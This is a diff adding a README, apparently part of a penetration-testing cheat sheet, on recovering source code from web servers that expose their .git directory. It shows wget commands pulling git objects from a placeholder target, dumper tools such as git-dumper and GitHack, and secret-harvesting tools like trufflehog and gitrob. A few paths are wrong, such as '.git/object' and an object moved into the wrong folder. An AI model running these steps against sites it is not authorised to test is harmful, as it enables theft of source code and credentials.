|
| 1 | +# Git |
| 2 | + |
| 3 | +## Summary |
| 4 | + |
| 5 | +* [Example](#example) |
| 6 | + * [Recovering file contents from .git/logs/HEAD](#recovering-file-contents-from-gitlogshead) |
| 7 | + * [Recovering file contents from .git/index](#recovering-file-contents-from-gitindex) |
| 8 | +* [Tools](#tools) |
| 9 | +* [Automatic recovery](#automatic-recovery) |
| 10 | + * [git-dumper.py](#git-dumperpy) |
| 11 | + * [diggit.py](#diggitpy) |
| 12 | + * [GoGitDumper](#gogitdumper) |
| 13 | + * [rip-git](#rip-git) |
| 14 | + * [GitHack](#githack) |
| 15 | + * [GitTools](#gittools) |
| 16 | +* [Harvesting secrets](#harvesting-secrets) |
| 17 | + * [trufflehog](#trufflehog) |
| 18 | + * [Yar](#yar) |
| 19 | + * [Gitrob](#gitrob) |
| 20 | + * [Gitleaks](#gitleaks) |
| 21 | +* [Refererences] |
| 22 | + |
| 23 | + |
| 24 | +## Example |
| 25 | + |
| 26 | +The following examples will create either a copy of the .git or a copy of the current commit. |
| 27 | + |
| 28 | +Check for the following files, if they exist you can extract the .git folder. |
| 29 | + |
| 30 | +- .git/config |
| 31 | +- .git/HEAD |
| 32 | +- .git/logs/HEAD |
| 33 | + |
| 34 | +### Recovering file contents from .git/logs/HEAD |
| 35 | + |
| 36 | +1. Check for 403 Forbidden or directory listing to find the `/.git/` directory |
| 37 | +2. Git saves all information in `.git/logs/HEAD` (try lowercase `head` too) |
| 38 | + ```powershell |
| 39 | + 0000000000000000000000000000000000000000 15ca375e54f056a576905b41a417b413c57df6eb root <root@dfc2eabdf236.(none)> 1455532500 +0000 clone: from https://github.com/fermayo/hello-world-lamp.git |
| 40 | + 15ca375e54f056a576905b41a417b413c57df6eb 26e35470d38c4d6815bc4426a862d5399f04865c Michael <[email protected]> 1489390329 +0000 commit: Initial. |
| 41 | + 26e35470d38c4d6815bc4426a862d5399f04865c 6b4131bb3b84e9446218359414d636bda782d097 Michael <[email protected]> 1489390330 +0000 commit: Whoops! Remove flag. |
| 42 | + 6b4131bb3b84e9446218359414d636bda782d097 a48ee6d6ca840b9130fbaa73bbf55e9e730e4cfd Michael <[email protected]> 1489390332 +0000 commit: Prevent directory listing. |
| 43 | + ``` |
| 44 | +3. Access the commit using the hash |
| 45 | + ```powershell |
| 46 | + # create an empty .git repository |
| 47 | + git init test |
| 48 | + cd test/.git |
| 49 | +
|
| 50 | + # download the file |
| 51 | + wget http://web.site/.git/objects/26/e35470d38c4d6815bc4426a862d5399f04865c |
| 52 | +
|
| 53 | + # first byte for subdirectory, remaining bytes for filename |
| 54 | + mkdir .git/object/26 |
| 55 | + mv e35470d38c4d6815bc4426a862d5399f04865c .git/objects/26/ |
| 56 | +
|
| 57 | + # display the file |
| 58 | + git cat-file -p 26e35470d38c4d6815bc4426a862d5399f04865c |
| 59 | + tree 323240a3983045cdc0dec2e88c1358e7998f2e39 |
| 60 | + parent 15ca375e54f056a576905b41a417b413c57df6eb |
| 61 | + author Michael <[email protected]> 1489390329 +0000 |
| 62 | + committer Michael <[email protected]> 1489390329 +0000 |
| 63 | + Initial. |
| 64 | + ``` |
| 65 | +4. Access the tree 323240a3983045cdc0dec2e88c1358e7998f2e39 |
| 66 | + ```powershell |
| 67 | + wget http://web.site/.git/objects/32/3240a3983045cdc0dec2e88c1358e7998f2e39 |
| 68 | + mkdir .git/object/32 |
| 69 | + mv 3240a3983045cdc0dec2e88c1358e7998f2e39 .git/objects/32/ |
| 70 | +
|
| 71 | + git cat-file -p 323240a3983045cdc0dec2e88c1358e7998f2e39 |
| 72 | + 040000 tree bd083286051cd869ee6485a3046b9935fbd127c0 css |
| 73 | + 100644 blob cb6139863967a752f3402b3975e97a84d152fd8f flag.txt |
| 74 | + 040000 tree 14032aabd85b43a058cfc7025dd4fa9dd325ea97 fonts |
| 75 | + 100644 blob a7f8a24096d81887483b5f0fa21251a7eefd0db1 index.html |
| 76 | + 040000 tree 5df8b56e2ffd07b050d6b6913c72aec44c8f39d8 js |
| 77 | + ``` |
| 78 | +5. Read the data (flag.txt) |
| 79 | + ```powershell |
| 80 | + wget http://web.site/.git/objects/cb/6139863967a752f3402b3975e97a84d152fd8f |
| 81 | + mkdir .git/object/cb |
| 82 | + mv 6139863967a752f3402b3975e97a84d152fd8f .git/objects/32/ |
| 83 | + git cat-file -p cb6139863967a752f3402b3975e97a84d152fd8f |
| 84 | + ``` |
| 85 | + |
| 86 | +### Recovering file contents from .git/index |
| 87 | + |
| 88 | +Use the git index file parser https://pypi.python.org/pypi/gin (python3). |
| 89 | + |
| 90 | +```powershell |
| 91 | +pip3 install gin |
| 92 | +gin ~/git-repo/.git/index |
| 93 | +``` |
| 94 | + |
| 95 | +Recover name and sha1 hash of every file listed in the index, and use the same process above to recover the file. |
| 96 | + |
| 97 | +```powershell |
| 98 | +$ gin .git/index | egrep -e "name|sha1" |
| 99 | +name = AWS Amazon Bucket S3/README.md |
| 100 | +sha1 = 862a3e58d138d6809405aa062249487bee074b98 |
| 101 | +
|
| 102 | +name = CRLF injection/README.md |
| 103 | +sha1 = d7ef4d77741c38b6d3806e0c6a57bf1090eec141 |
| 104 | +``` |
| 105 | + |
| 106 | +## Tools |
| 107 | + |
| 108 | +### Automatic recovery |
| 109 | + |
| 110 | +#### git-dumper.py |
| 111 | + |
| 112 | +```powershell |
| 113 | +git clone https://github.com/arthaud/git-dumper |
| 114 | +pip install -r requirements.txt |
| 115 | +./git-dumper.py http://web.site/.git ~/website |
| 116 | +``` |
| 117 | + |
| 118 | +#### diggit.py |
| 119 | + |
| 120 | +```powershell |
| 121 | +git clone https://github.com/bl4de/security-tools/ && cd security-tools/diggit |
| 122 | +./diggit.py -u remote_git_repo -t temp_folder -o object_hash [-r=True] |
| 123 | +./diggit.py -u http://web.site -t /path/to/temp/folder/ -o d60fbeed6db32865a1f01bb9e485755f085f51c1 |
| 124 | +
|
| 125 | +-u is remote path, where .git folder exists |
| 126 | +-t is path to local folder with dummy Git repository and where blob content (files) are saved with their real names (cd /path/to/temp/folder && git init) |
| 127 | +-o is a hash of particular Git object to download |
| 128 | +``` |
| 129 | + |
| 130 | +#### GoGitDumper |
| 131 | + |
| 132 | +```powershell |
| 133 | +go get github.com/c-sto/gogitdumper |
| 134 | +gogitdumper -u http://web.site/.git/ -o yourdecideddir/.git/ |
| 135 | +git log |
| 136 | +git checkout |
| 137 | +``` |
| 138 | + |
| 139 | +#### rip-git |
| 140 | + |
| 141 | +```powershell |
| 142 | +git clone https://github.com/kost/dvcs-ripper |
| 143 | +perl rip-git.pl -v -u "http://web.site/.git/" |
| 144 | +
|
| 145 | +git cat-file -p 07603070376d63d911f608120eb4b5489b507692 |
| 146 | +tree 5dae937a49acc7c2668f5bcde2a9fd07fc382fe2 |
| 147 | +parent 15ca375e54f056a576905b41a417b413c57df6eb |
| 148 | +author Michael <[email protected]> 1489389105 +0000 |
| 149 | +committer Michael <[email protected]> 1489389105 +0000 |
| 150 | +
|
| 151 | +git cat-file -p 5dae937a49acc7c2668f5bcde2a9fd07fc382fe2 |
| 152 | +``` |
| 153 | + |
| 154 | +#### GitHack |
| 155 | + |
| 156 | +```powershell |
| 157 | +git clone https://github.com/lijiejie/GitHack |
| 158 | +GitHack.py http://web.site/.git/ |
| 159 | +``` |
| 160 | + |
| 161 | +#### GitTools |
| 162 | + |
| 163 | +```powershell |
| 164 | +git clone https://github.com/internetwache/GitTools |
| 165 | +./gitdumper.sh http://target.tld/.git/ /tmp/destdir |
| 166 | +git checkout -- . |
| 167 | +``` |
| 168 | + |
| 169 | +### Harvesting secrets |
| 170 | + |
| 171 | +#### trufflehog |
| 172 | + |
| 173 | +> Searches through git repositories for high entropy strings and secrets, digging deep into commit history. |
| 174 | +
|
| 175 | +```powershell |
| 176 | +pip install truffleHog # https://github.com/dxa4481/truffleHog |
| 177 | +truffleHog --regex --entropy=False https://github.com/dxa4481/truffleHog.git |
| 178 | +``` |
| 179 | + |
| 180 | +#### Yar |
| 181 | + |
| 182 | +> Searches through users/organizations git repositories for secrets either by regex, entropy or both. Inspired by the infamous truffleHog. |
| 183 | +
|
| 184 | +```powershell |
| 185 | +go get github.com/nielsing/yar # https://github.com/nielsing/yar |
| 186 | +yar -o orgname --both |
| 187 | +``` |
| 188 | + |
| 189 | +#### Gitrob |
| 190 | + |
| 191 | +> Gitrob is a tool to help find potentially sensitive files pushed to public repositories on Github. Gitrob will clone repositories belonging to a user or organization down to a configurable depth and iterate through the commit history and flag files that match signatures for potentially sensitive files. |
| 192 | +
|
| 193 | +```powershell |
| 194 | +go get github.com/michenriksen/gitrob # https://github.com/michenriksen/gitrob |
| 195 | +export GITROB_ACCESS_TOKEN=deadbeefdeadbeefdeadbeefdeadbeefdeadbeef |
| 196 | +gitrob [options] target [target2] ... [targetN] |
| 197 | +``` |
| 198 | + |
| 199 | +#### Gitleaks |
| 200 | + |
| 201 | +> Gitleaks provides a way for you to find unencrypted secrets and other unwanted data types in git source code repositories. |
| 202 | +
|
| 203 | +```powershell |
| 204 | +# Run gitleaks against a public repository |
| 205 | +docker run --rm --name=gitleaks zricethezav/gitleaks -v -r https://github.com/zricethezav/gitleaks.git |
| 206 | +
|
| 207 | +# Run gitleaks against a local repository already cloned into /tmp/ |
| 208 | +docker run --rm --name=gitleaks -v /tmp/:/code/ zricethezav/gitleaks -v --repo-path=/code/gitleaks |
| 209 | +
|
| 210 | +# Run gitleaks against a specific Github Pull request |
| 211 | +docker run --rm --name=gitleaks -e GITHUB_TOKEN={your token} zricethezav/gitleaks --github-pr=https://github.com/owner/repo/pull/9000 |
| 212 | +
|
| 213 | +or |
| 214 | +
|
| 215 | +go get -u github.com/zricethezav/gitleaks |
| 216 | +``` |
| 217 | + |
| 218 | + |
| 219 | +## References |
| 220 | + |
| 221 | +- [Gitrob: Now in Go - Michael Henriksen - January 24, 2024](https://michenriksen.com/blog/gitrob-now-in-go/) |
0 commit comments